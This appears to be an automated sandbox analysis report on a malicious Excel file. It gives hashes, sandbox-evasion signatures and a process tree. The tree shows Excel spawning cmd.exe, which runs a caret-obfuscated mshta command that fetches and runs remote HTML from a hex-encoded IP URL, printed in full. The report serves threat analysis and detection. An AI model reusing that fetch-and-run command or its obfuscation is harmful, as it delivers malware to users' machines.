Analysis
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max time kernel
156s -
max time network
143s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
20-01-2022 10:38
Behavioral task
behavioral1
Sample
a94875a62546e0ff04e0a0ff648b48bc6ad7071b539a8d41c8d1176ce4e1252b.xls
Resource
win10-en-20211208
General
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Target
a94875a62546e0ff04e0a0ff648b48bc6ad7071b539a8d41c8d1176ce4e1252b.xls
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Size
142KB
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MD5
5bffdae22f776d781cab2ad5309a6154
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SHA1
7943586d63be16066060c5482073b1313cbc78b0
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SHA256
a94875a62546e0ff04e0a0ff648b48bc6ad7071b539a8d41c8d1176ce4e1252b
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SHA512
7d1d540e1bb3c4850ae18c0d1fd80082c17b18e4d6c5992c8265ea2c6ba93bce1338669f82ad13115feb56c962bdd3e389173b97c484b325187d482438a4d7e8
Malware Config
Extracted
http://0xb907d607/fer/fer.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1996 3024 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
mshta.exeflow pid process 46 1052 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3024 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 3024 EXCEL.EXE 3024 EXCEL.EXE 3024 EXCEL.EXE 3024 EXCEL.EXE 3024 EXCEL.EXE 3024 EXCEL.EXE 3024 EXCEL.EXE 3024 EXCEL.EXE 3024 EXCEL.EXE 3024 EXCEL.EXE 3024 EXCEL.EXE 3024 EXCEL.EXE 3024 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 3024 wrote to memory of 3644 3024 EXCEL.EXE splwow64.exe PID 3024 wrote to memory of 3644 3024 EXCEL.EXE splwow64.exe PID 3024 wrote to memory of 1996 3024 EXCEL.EXE cmd.exe PID 3024 wrote to memory of 1996 3024 EXCEL.EXE cmd.exe PID 1996 wrote to memory of 1052 1996 cmd.exe mshta.exe PID 1996 wrote to memory of 1052 1996 cmd.exe mshta.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a94875a62546e0ff04e0a0ff648b48bc6ad7071b539a8d41c8d1176ce4e1252b.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fer.html3⤵
- Blocklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/3024-115-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmpFilesize
64KB
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memory/3024-116-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmpFilesize
64KB
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memory/3024-117-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmpFilesize
64KB
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memory/3024-118-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmpFilesize
64KB
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memory/3024-119-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmpFilesize
64KB
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memory/3024-128-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmpFilesize
64KB
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memory/3024-129-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmpFilesize
64KB
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memory/3024-499-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmpFilesize
64KB
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memory/3024-500-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmpFilesize
64KB
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memory/3024-501-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmpFilesize
64KB
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memory/3024-502-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmpFilesize
64KB